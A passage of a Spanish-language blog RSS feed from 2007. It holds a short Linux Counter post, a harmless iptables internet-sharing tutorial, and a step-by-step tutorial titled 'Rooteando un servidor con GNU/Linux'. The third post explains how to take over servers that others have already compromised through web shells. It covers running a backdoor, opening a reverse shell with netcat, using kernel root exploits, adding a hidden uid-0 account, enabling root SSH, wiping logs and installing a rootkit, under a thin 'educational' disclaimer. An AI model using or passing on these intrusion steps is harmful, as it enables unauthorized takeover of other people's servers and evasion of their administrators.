<p>Debemos por lo menos entrar a nuestra cuenta una vez al año, de lo contrario la misma será borrada.</p>
<p>Así que ahora soy el usuario número 460603 que se ha registrado:</p>
<p style="text-align:center;" align="center"><img src="http://counter.li.org/cgi-bin/certificate.cgi/460603" alt="" width="190" height="110" /></p>
<p>Los invito a que hagan lo mismo, así algún día podremos tener una idea de lo grande que es esta comunidad =).</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/sarckz.wordpress.com/80/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/sarckz.wordpress.com/80/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/80/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/80/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/80/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=80&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2007/12/15/el-contador-de-linux-linux-counter/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://counter.li.org/cgi-bin/certificate.cgi/460603" medium="image" />
	</item>
		<item>
		<title>Compartir internet con Iptables</title>
		<link>http://sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/</link>
		<comments>http://sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/#comments</comments>
		<pubDate>Wed, 14 Nov 2007 06:46:22 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com/index.php/2007/11/14/compartir-internet-con-iptables/</guid>
		<description><![CDATA[Algo que seguramente nesecitaremos hacer si tenemos una red local (lan), y queremos compartir internet a los demás ordenadores pero no tenemos un router o switch, así que lo hacemos con nuestro ordenador que tiene GNU/Linux. La mejor opción para estos casos es usar Iptables. ¿Por qué?. Iptables viene incluido en casi todas las distribuciones [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=63&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Algo que seguramente nesecitaremos hacer si tenemos una red local (lan), y queremos compartir internet a los demás ordenadores pero no tenemos un router o switch, así que lo hacemos con nuestro ordenador que tiene GNU/Linux.</p>
<p><span id="more-63"></span> La mejor opción para estos casos es usar Iptables. ¿Por qué?. Iptables viene incluido en casi todas las distribuciones de GNU/Linux; es más seguro porque viene integrado al Kernel (no como los programas de firewall que escuchan en determinado puerto) y con un par de comandos puedes realizar fácilmente lo que te propongas hacer.</p>
<p>Iptables funciona de la siguiente forma:</p>
<p>iptables<br />
-tabla<br />
&#8211;comando cadena<br />
&#8212;regla<br />
&#8212;-objetivo</p>
<p>O sea, debemos llamar a iptables, especificar en que tabla se actuará (en cual se agregarán, eliminarán o modificarán datos), definir una acción a realizar, que reglas y condiciones le aplicamos a esa acción a realizar, y el objetivo (a que cosa/s va a afectar).</p>
<p>Bien, veamos como realizar dicha tarea con el típico ejemplo de red:</p>
<p>Tenemos varios ordenadores en nuestra red, cada cliente tiene por lo menos una interfáz de red y el server tiene dos o más (una para recibir la conexión de internet y la otra/s dependiendo de la cantidad de clientes que sea igual a las de los mismos).</p>
<p>En este ejemplo se tendrá un ordenador servidor con dos interfaces de red (eth0 y eth1).</p>
<p>Por eth0 recibe la conexión a internet y por eth1 se comunica con el ordenador cliente que hay en la red.</p>
<p>Pero antes de configurar a donde enviaremos los paquetes que lleguen de internet a los demás ordenadores (y viceversa), debemos activar el reenvío de los mismos, o sea, hacer un <em>ipforwarding</em>. Entonces en nuestro server, como root hacemos:</p>
<p><code># echo 1 &gt; /proc/sys/net/ipv4/ip_forward</code></p>
<p>Ahora debemos agregar los comandos a Iptables para que nos permita el recibir y enviar paquetes (desde y hacia internet) con los demás ordenadores.</p>
<p><code># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE</code></p>
<p>-t = Especifica la tabla de reglas, en este caso nat.</p>
<p>nat = (Network Address Translation). Es la tabla de manipulación de direcciones y puertos.</p>
<p>-A = Agrega un comando o una regla a la tabla.</p>
<p>POSTROUTING = Modifica el destino del paquete/s luego de que se decide si irá al ordenador local (server o el que tiene el firewall) o a otro ordenador de la red.</p>
<p>-o = Sirve para especificar la interface</p>
<p>eth0 = La interface de red a la que se sale a internet.</p>
<p>-j = Aplicar</p>
<p>MASQUERADE = Enmascarar. Significa que el router (en este caso nuestro ordenador hace de router con Iptables) reemplaza la información que viene de un paquete, o sea, le pone su propia IP y número de puerto y lo envía a su destino. Los paquetes de regreso llegan al router y este revisa a que ordenador van dirigidos (de los que estén especificados en el mismo router), les quita el enmascaramiento y los envía al host que envió la petición origen.</p>
<p>Todo bien con esto, pero así se enmascararían todos los paquetes que pasen por nuestra interface que conecta a internet. ¿Que pasa si queremos nada más enmascarar el rango de IPs de nuestra red? Con esto podríamos evitar que se use nuestra conexión externamente para enmascarar sus paquetes.</p>
<p>Si el rango de IPs de nuestra red es el típico 192.168.0.x hacemos:</p>
<p><code>iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24</code></p>
<p>Con eso especificamos que se enmascaren solamente los paquetes enviados por las IPs 192.168.0.0 hasta 192.168.0.255. El /24 sirve para especificar la máscara de red (que naturalmente debe ser 255.255.255.0). En caso de tener además de ese rango por ej, tienen el 192.168.1.x solo deben agregar la misma regla una vez más, pero cambiando el <em>192.168.0.0</em> por (obviamente) 192.168.1.0.</p>
<p>Para no tener que hacer esto cada vez que reiniciamos el ordenador, nos conviene guardar los comandos en algún script que se ejecute al iniciar (como /etc/rc.local). Simplemente ponemos un comando por línea y las órdenes se ejecutarán durante el booteo de tu GNU/Linux.</p>
<p>Si tienen dudas o quieren hacer alguna otra cosa pueden leer alguno de estos manuales</p>
<p><a href="http://www.linuxdata.com.ar/index.php?idmanual=redfirewall.htm&amp;manuale=1" target="_blank">Linux data inf &#8211; Como configurar una red con un firewall</a>.</p>
<p><a href="http://www.wikilearning.com/que_es_un_firewall-wkccp-9755-1.htm" target="_blank">Manual práctico de Iptables</a>.</p>
<p>O pueden buscar otros de los varios que hay rondando por internet, o simplemente tecleando en su consola:</p>
<p><code>man iptables</code></p>
<hr />
<p style="text-align:center;"><a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" rel="license"><img style="border-width:0;" src="http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png" alt="Creative Commons License" /></a></p>
<p>&nbsp;</p>
<p align="center">Esta obra está licenciada bajo una<br />
<a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" rel="license">Licencia Creative Commons Atribución-No Comercial-Compartir Obras Derivadas Igual 3.0 Unported</a>.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/sarckz.wordpress.com/63/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/sarckz.wordpress.com/63/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/63/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=63&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png" medium="image">
			<media:title type="html">Creative Commons License</media:title>
		</media:content>
	</item>
		<item>
		<title>Rooteando un servidor con GNU/Linux</title>
		<link>http://sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/</link>
		<comments>http://sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 06:30:48 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Informática]]></category>

		<guid isPermaLink="false">http://www.sarckz.com/2007/06/09/rooteando-un-servidor-con-gnulinux/</guid>
		<description><![CDATA[Con &#8220;rootear&#8221; nos referimos a conseguir acceso como superusuario (root) en un ordenador con GNU/Linux, de forma que podemos realizar cualquier cambio en el ordenador víctima. Los pasos que voy a describir en este tutorial son los siguientes: 1_ Conseguir una shell PHP decente. 2_ Conectar al ordenador víctima. 3_ Consiguiendo y utiilizando un rootexploit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=7&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Con &#8220;rootear&#8221; nos referimos a conseguir acceso como superusuario (root) en un ordenador con GNU/Linux, de forma que podemos realizar cualquier cambio en el ordenador víctima.</p>
<p>Los pasos que voy a describir en este tutorial son los siguientes:</p>
<p>1_ Conseguir una shell PHP decente.<br />
2_ Conectar al ordenador víctima.<br />
3_ Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima.<br />
4_ Agregar usuario root para poder conectar mediante SSH.<br />
5_ Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.<br />
6_ Activando o reiniciando SSHD en caso de ser necesario.<br />
7_ Conectando mediante SSH con tu usuario root.<br />
8_ Utilizando limpiadores de logs<br />
9_ Rootkits (Opcional).<br />
10_ Aclaraciones finales.</p>
<p><span id="more-7"></span><br />
Empezemos&#8230;</p>
<p><strong><span style="text-decoration:underline;">1 Conseguir una shell PHP decente:</span></strong></p>
<p>¿Que quiero decir con eso? Una shell PHP es un script donde pueden ejecutarse comandos de la misma forma que en una consola de texto (en este caso será una consola de texto de GNU/Linux). Los comandos disponibles son solamente los que el ordenador que tiene esa shell PHP permite. En pocas palabras, una shell PHP es una consola de texto más.<br />
Para obtener una shell PHP podemos hacer dos cosas: O lograr subir una shell PHP al ordenador víctima aprovechando alguna vulnerabilidad, o buscar una que ya esté subida a otro ordenador víctima (esto es lo mejor si solo quieres practicar).<br />
Antes de buscar una shell PHP, o usar una que ya tengamos, nesecitamos tener un punto en cuenta:<br />
El ordenador víctima debe tener el Safe mode de PHP desactivado, o sea, OFF, si está ON no permite la ejecución de archivos ni la navegación por los directorios; así que si está en ON no nos servirá.<br />
Podemos encontrar muchas shells PHP con safe mode OFF usando a nuestro amigo <a href="http://www.google.com/" target="_blank">Google</a>, de las dos siguientes formas:<br />
&#8220;Safe mode: OFF&#8221;<br />
&#8220;Safe mode: OFF (Not secure)&#8221; &lt;&#8212; Esta es mejor<br />
Lo mejor es incluir las comillas, así los resultados serán mucho más exactos.</p>
<p>Para fijarnos el sistema operativo que está corriendo ese ordenador podemos utilizar el comando:</p>
<p>uname</p>
<p>Si dice otra cosa que no sea &#8220;Linux&#8221;, entonces no sirve.</p>
<p>Una vez que hemos encontrado un ordenador con Linux podemos empezar a probar que comandos tenemos disponibles, así iremos viendo si vale la pena seguir adelante.</p>
<p>Con decente me refiero a que permita ejecutar binarios (ejecutables), se puedan subir archivos mediante el comando wget, o desde la misma shell; y permita que puedan conectarse al ordenador víctima de forma que obtengan su shell, o que permita que ese ordenador nos de su shell a través de una conexión inversa.</p>
<p>¿Como averiguamos esto? Con el siguiente paso:</p>
<p><strong><span style="text-decoration:underline;">2 Conectar al ordenador víctima:</span></strong></p>
<p>Ya tenemos la shell PHP con Safe mode OFF, ahora lo que debemos hacer para poder utilizar un exploit y ganar acceso como root, es conectarnos al ordenador víctima.<br />
¿Como hacemos eso? Hay dos formas:<br />
La primera es utilizando un backdoor, que es una especie de troyano el cual se instala en X puerto y nosotros podemos acceder a el mediante netcat, u otro programa similar.<br />
En este caso usaremos el troyano para linux más conocido y usado: <a href="http://www.sarckz.com/hack/backdoors/r0nin" target="_blank">r0nin</a><br />
Al ejecutarse este backdoor se instala en el puerto 1666<br />
Lo subimos mediante wget y la url del archivo, o con la misma shell (si es que da la opción).<br />
Para ejecutarlo vamos al directorio donde está el r0nin y escribimos:<br />
chmod +x r0nin<br />
Con eso le damos permiso de ejecución. Y ahora:</p>
<p>./r0nin</p>
<p>./ significa que se ejecuta el archivo que está en ese mismo directorio.</p>
<p>Bien, ahora revisaremos si el ordenador permite que nos conectemos a el. En este caso usaremos el netcat para tratar de conectar al host. Escribimos en la consola:</p>
<p>nc ipdelhost 1666</p>
<p>Si aparece la shell de la víctima ya no nesecitas probar hacer una conexión inversa y puedes pasar al paso 3, pero si no funciona deberás probar el otro método.</p>
<p>El otro método es: Conexión inversa.</p>
<p>¿Como funciona esto? Dejas un puerto de tu ordenador a la escucha, eso quiere decir que aceptará cualquier conexión entrante en el puerto especificado. En este caso usaremos el puerto 31337, así podremos recibir la shell que enviaremos del ordenador víctima al nuestro.<br />
Para dejar a la escucha el puerto 31337 escribimos:</p>
<p>nc -l -n -v -p 31337</p>
<p>Debería aparecer algo como esto:</p>
<p>listening on [any] 31337 &#8230;</p>
<p>Ahora que ya dejamos el puerto listo, debemos enviar la shell de la víctima a aquel. En la shell PHP del equipo víctima escribimos:</p>
<p>nc -e /bin/bash nuestraip 31337</p>
<p>Si no tiene el netcat, o el mismo ha sido deshabilitado, podemos subirle uno (aqui les dejo un <a href="http://www.sarckz.com/hack/netcat/nc" target="_blank">link</a>), darle permisos llendo al directorio donde se encuentra el mismo y haciendo chmod +x nc, y ejecutarlo de la misma forma que el paso anterior, pero antes especificar que se usará el nc que está en el directorio en donde estamos nosotros, o sea, usando ./</p>
<p>También puedes subir el lugar del netcat, un script en perl que realice una conexión inversa; en este ejemplo usaremos mi preferido (aqui tienen el <a href="http://www.sarckz.com/hack/backdoors/pb.pl" target="_blank">link</a>).<br />
Para ejecutarlo luego de subirlo, ve al directorio donde se encuentra el mismo, dale permisos de ejecución con chmod +x pb.pl, y ejecútalo de la siguiente forma:</p>
<p>perl pb.pl tuip 31337</p>
<p>Ahora deberías tener la shell de tu víctima lista para usar. Si ninguno de los pasos anteriores sirve, lo mejor es que te des por vencido y busques otro ordenador con una shell PHP e intentes de nuevo los pasos anteriores, ya que aquel debe tener firewall y no permite conexiones entrantes ni salientes en puertos que no sean utilizados para tareas comunes y corrientes (ejemplo, puerto 80 para servidor web, 25 para correo, etc).</p>
<p>Ahora que ya tienes la shell de tu víctima, puedes ir al paso 3:</p>
<p><strong><span style="text-decoration:underline;">3 Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima:</span></strong></p>
<p>Ahora, para conseguir permisos de root en ese ordenador, debemos explotarlo utilizando un rootexploit.<br />
En este caso probaremos algunos de los que tengo disponibles en mi web (aqui tienen el <a href="http://www.sarckz.com/hack/rootexploits/" target="_blank">link</a>).</p>
<p>Pero antes de probar cualquier exploit lo mejor es ver que versión de Kernel tiene la víctima, para eso escribimos en la shell de la misma:</p>
<p>uname -a</p>
<p>Da por resultado la siguiente información:<br />
Linux (hostname del usuario) (versión del Kernel) #1 (fecha de creación de ese Kernel) (arquitectura del procesador)<br />
Un ejemplo puede ser:</p>
<p>Linux localhost 2.4.20 #1 SMP Thu Mar 13 17:45:54 EST 2003 i686</p>
<p>Como vemos, lo mejor será utilzar algún exploit de esa rama de Kernel (2.4.x), así que subimos el exploit que queramos de ese directorio (sugiero empezar por el primero), le damos permisos de ejecución e intentamos ejecutarlo.<br />
Cada vez que probemos el exploit y este termine de ejecutarse, escribiremos el comando id, y habremos conseguido permisos de root si nos sale algo como esto:</p>
<p>uid=0(root) gid=0(root) groups=0(root)</p>
<p>Si en lugar de eso sale el nombre de un usuario normal y el grupo de usuarios, quiere decir que el exploit no ha funcionado, así que debemos bajar otro e ir probando hasta lograrlo.</p>
<p>Una vez que hayas conseguido permisos de root, podrás seguir con el cuarto paso:</p>
<p><strong><span style="text-decoration:underline;">4 Agregar usuario root para poder conectar mediante SSH:</span></strong></p>
<p>Ya tienes permisos de root, así que ahora podrás agregar un usuario, luego darle permisos de root a ese usuario así podrás conectarte a el mediante SSH (para más comodidad, y además por si llegan a borrar la shell php que te permitió entrar allí).</p>
<p>Si queremos que nuestro usuario se llame t00r, escribimos el siguiente comando:</p>
<p>useradd t00r -d /root -g 0 -p lapassquetuquieras -s /bin/bash</p>
<p>-d es para establecer el directorio de ese usuario, en este caso pusimos /root, que es un directorio ya existente, así nadie se da cuenta de que ha habido cambios en el ordenador.<br />
-g es para establecer el número del grupo, en este caso es el 0, que pertenece al root.<br />
-p es para establecer la password para ese usuario, la cual debe tener por lo menos 6 carácteres<br />
-s es para establecer que tipo de shell usará ese usuario. La más común es bash, aunque puedes elegir la que tu quieras.</p>
<p>Una vez agregado el usuario, puedes proceder a darle permisos de root de la siguiente forma:<br />
Editar el archivo passwd. Para eso deberás primero copiarlo a algún lugar que sea accesible desde la web (así podremos usar un script PHP que subamos para editarlo).<br />
Suponiendo que el directorio en donde se ecuentra la shell PHP es: /home/usuario1/www, debemos poner:</p>
<p>cp /etc/passwd /home/usuario1/www/passwd</p>
<p>Ahora debemos darle a dicho archivo permiso de lectura y escritura por cualquier usuario (666). Nos situamos en el directorio en donde lo hemos copiado, y escribimos:</p>
<p>chmod 666 passwd</p>
<p>Ahora puedes subir algún script PHP que te permita modificar dicho archivo, o utilizar la misma shell PHP si lo permite (ya que la que más comunmente encontraremos es la que permite editar, descargar y eliminar archivos).<br />
Si no tienes dicha shell, súbela al servidor (aqui dejo el <a href="http://www.sarckz.com/hack/shell/c99.txt" target="_blank">link</a>). Una vez subida cámbiale la extensión txt por php, situándote en el directorio donde esta se encuentra, y con el comando:</p>
<p>mv c99.txt c99.php</p>
<p>Ahora entra a la shell, busca el archivo y edítalo. Ahora debes buscar una línea como esta:</p>
<p>t00r:x:1003:0::/root:/bin/bash</p>
<p>El 1003 es el uid del usuario (id único) que se le asignó en ese momento (varía según cuantos usuarios haya en ese ordenador). O sea, si el último usuario agregado antes de t00r tiene el uid 501, t00r tendrá el 502.<br />
El 0 como dijimos antes, es el número del grupo root.<br />
Etc etc.<br />
Ahora debemos cambiar ese 1003 por el uid de root (0), de forma que quedaría así:</p>
<p>t00r:x:0:0::/root:/bin/bash</p>
<p>Luego de editarlo dale los permisos que tenía antes (644, que es que pueda ser nada más editado y leido por el root, y por los demás solamente leído) de la siguiente forma:<br />
Ve a la shell rooteada, luego al lugar donde has copiado el archivo passwd y escribe:</p>
<p>chmod 644 passwd</p>
<p>Ahora cópialo a su lugar original:</p>
<p>cp passwd /etc/passwd</p>
<p>Con esto ya estás listo para el siguiente paso:</p>
<p><strong><span style="text-decoration:underline;">5 Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.</span></strong></p>
<p>Para mirar el puerto en el que SSHD está funcionando (o funcionará cuando lo activemos) revisaremos la configuración con el siguiente comando:</p>
<p>cat /etc/ssh/sshd_config | grep Port</p>
<p>Debería salirnos algo como:</p>
<p>Port 22<br />
GatewayPorts no</p>
<p>Port es el puerto en donde SSHD funciona al iniciarlo. (Este puede variar según lo que haya elegido el que editó el archivo anteriormente). El que viene por defecto al instalar SSHD es el 22.<br />
Si esa línea tiene antes de todo un #, significa que está comentada, y que será ignorada por el SSHD al iniciarse, y se tomará la orden por defecto, en este caso el puerto 22.<br />
Para evitar que SSHD nos impida loguearnos con nuestro usuario root, lo mejor es que revisemos si permite logueos remotos con usuarios root. Esto lo hacemos de la siguiente forma:</p>
<p>cat /etc/ssh/sshd_config | grep PermitRootLogin</p>
<p>Debería aparecernos algo como:</p>
<p>PermitRootLogin yes</p>
<p>Si esa línea está comentada, el servidor toma como que están permitidos los logins remotos con usuarios root. Ejemplo:</p>
<p>#PermitRootLogin yes</p>
<p>O sino:</p>
<p>#PermitRootLogin no</p>
<p>De cualquier forma el servidor dejará hacer el login.<br />
Si la línea está puesto en yes, o está comentada, podemos seguir con el paso número 6.<br />
Si no dice yes y la línea no está comentada, significa que el login remoto con usuarios root está desactivado, así que debemos cambiarlo por yes.<br />
Para eso repetimos el procedimiento del paso número 4 (cuando editamos el archivo passwd). Pero esta vez con el archivo /etc/ssh/sshd_config, buscamos la línea mencionada anteriormente (PermitRootLogin), la cambiamos por yes, y antes de copiarlo a su lugar de origen le damos los permisos 640.</p>
<p>Ahora puedes seguir con el siguiente paso:</p>
<p><strong><span style="text-decoration:underline;">6 Activando o reiniciando SSHD en caso de ser necesario:</span></strong></p>
<p>Para poder conectar mediante SSH al ordenador víctima y usar tu usuario con permisos de root, primero nesecitarás ver si SSHD (Secure Shell Daemon) está activo.<br />
Escribe:</p>
<p>ps ax | grep sshd</p>
<p>ps es para mostrar los procesos del sistema.<br />
a es para mostrar todos los procesos.<br />
x es para mostrar incluso los procesos que están corriendo mediante consola de texto.<br />
| es una tubería que indica que la información dada será enviada a otro programa.<br />
grep es un programa que filtra el texto de un archivo o comando, y muestra nada más la línea completa en donde está el texto que introducistes (en este caso sshd). Así mostrará nada más la información de SSHD.<br />
Si SSHD está funcionando, debería aparecerte algo como esto:</p>
<p>8505 ? Ss 0:00 /usr/sbin/sshd</p>
<p>Si no aparece nada es porque no está funcionando.<br />
Si habíamos cambiamos la configuración de SSHD (paso 5) y el mismo está activo, deberemos reiniciarlo para que se apliquen los cambios.<br />
Obviamente para activar o reiniciar SSHD primero debemos localizarlo, esto lo hacemos con el comando:</p>
<p>locate sshd | grep /etc</p>
<p>Debería aparecer algo como esto:</p>
<p>/etc/ssh/sshd_config<br />
/etc/init.d/sshd</p>
<p>O así:</p>
<p>/etc/ssh/sshd_config<br />
/etc/rc.d/rc.sshd</p>
<p>(Obviamente la segunda opción de cada caso es SSHD).<br />
Para reiniciar SSHD escribimos (suponiendo que es el primer caso o sea /etc/init.d/sshd):</p>
<p>/etc/init.d/sshd restart</p>
<p>O si SSHD no estaba iniciado lo activamos con el comando:</p>
<p>/etc/init.d/sshd start</p>
<p>Si todo sale bien ya estamos listos para el siguiente paso:</p>
<p><strong><span style="text-decoration:underline;">7 Conectando mediante SSH con tu usuario root:</span></strong></p>
<p>Ahora, para conectarte hacerlo si tienes GNU/Linux o alguna variante de Unix escribe:<br />
Si el puerto en la config de SSHD era 22, no hace falta que lo especifiquemos, así que deberíamos escribir:</p>
<p>ssh ipdelhost -l t00r</p>
<p>-l es para especificar el usuario con el que te quieres conectar (en este caso t00r).</p>
<p>Pero si era otro puerto, por ej, 516, debemos escribir:</p>
<p>ssh ipdelhost -p 516 -l t00r</p>
<p>-p obviamente, es para especificar el puerto.</p>
<p>Desde Windows puedes usar algún cliente de terminal (por ej <a href="http://the.earth.li/%7Esgtatham/putty/latest/x86/putty.exe" target="_blank">PuTTY</a>), al abrirlo colocamos la ip del host y el puerto y clickeamos en conectar.</p>
<p>Una vez que ya has conectado puedes ir el siguiente paso:</p>
<p><strong><span style="text-decoration:underline;">8 Utilizando limpiadores de logs:</span></strong></p>
<p>Una vez que ya has hecho todo, lo que más conviene es usar un limpiador de logs. ¿Por qué?<br />
La respuesta es esta: Muchas de tus acciones quedan guardadas en varios logs del sistema, por lo que es conveniente (para evitar que los administradores descubran tu ip o algún dato tuyo que pueda llevarlos a denunciarte), borrar dichos logs.<br />
Para eso puedes usar cualquier delogger. En este caso usaremos <a href="http://www.sarckz.com/hack/clearlog/deloger" target="_blank">este</a>.<br />
Simplemente súbelo, dale permisos con chmod +x y ejecútalo con ./deloger, estando en la shell de la víctima en modo root.</p>
<p><strong><span style="text-decoration:underline;">9 Rootkits (Opcional):</span></strong></p>
<p><strong>Advertencia: Algunos rootkits pueden hacer que no puedan verse ciertos archivos, ya que para eso están hechos (para ocultar archivos, usuarios y procesos). El rootkit que se ofrece a continuación no ha sido probado por mi, de forma que no puedo garantizar que funcione de la manera esperada. Úsalos bajo tu propia responsabilidad.</strong></p>
<p>Como dice <a href="http://es.wikipedia.org/wiki/Rootkit" target="_blank">Wikipedia</a>: &#8220;Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede incluir software para interceptar datos procedentes de terminales, conexiones de red e incluso el teclado (keylogger).&#8221;<br />
Explicado de otra manera, un rootkit nos servirá para pasar inadvertidos ante los administradores del ordenador que hemos rooteado.<br />
Aqui está el <a href="http://www.sarckz.com/hack/rootkits/toolkit.tar.gz" target="_blank">link</a> del rootkit que usaremos en este caso. Primero lo descomprimimos con el siguiente comando:</p>
<p>tar xvf toolkit.tar.gz</p>
<p>Vamos a la carpeta del toolkit, damos permiso de ejecución a install con chmod +x install, y lo ejecutamos:</p>
<p>./install</p>
<p>Nada más.</p>
<p><strong><span style="text-decoration:underline;">10 Aclaraciones finales:</span></strong></p>
<p>Este texto, ha sido publicado con fines educativos. ¿Con que objetivo? Simple. Mediante este artículo quiero demostrar la facilidad con la que hoy en día puede quebrantarse la seguridad de un servidor u ordenador común y corriente. Además quiero mostrar de que forma un atacante se va haciendo con el control del ordenador o servidor víctima, así los que lean este artículo podrán aprender a mejorar la seguridad de los mismos.</p>
<p><strong>Dedicación:</strong>Yodebian<br />
Andsux &#8211; <a href="http://darkend.sytes.net/" target="_blank">Dark End Team</a><br />
HeliosZ &#8211; <a href="http://darkend.sytes.net/" target="_blank">Dark End Team</a><br />
Caim &#8211; <a href="http://darkend.sytes.net/" target="_blank">Dark End Team</a><br />
Kania &#8211; <a href="http://www.evilgirls.net/" target="_blank">Evilgirls</a></p>
<hr />
<p style="text-align:center;"><a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license"><img style="border-width:0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work by Tobias Nahuel Paiva (Sarckz) is licensed under a <a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License</a>.</p>
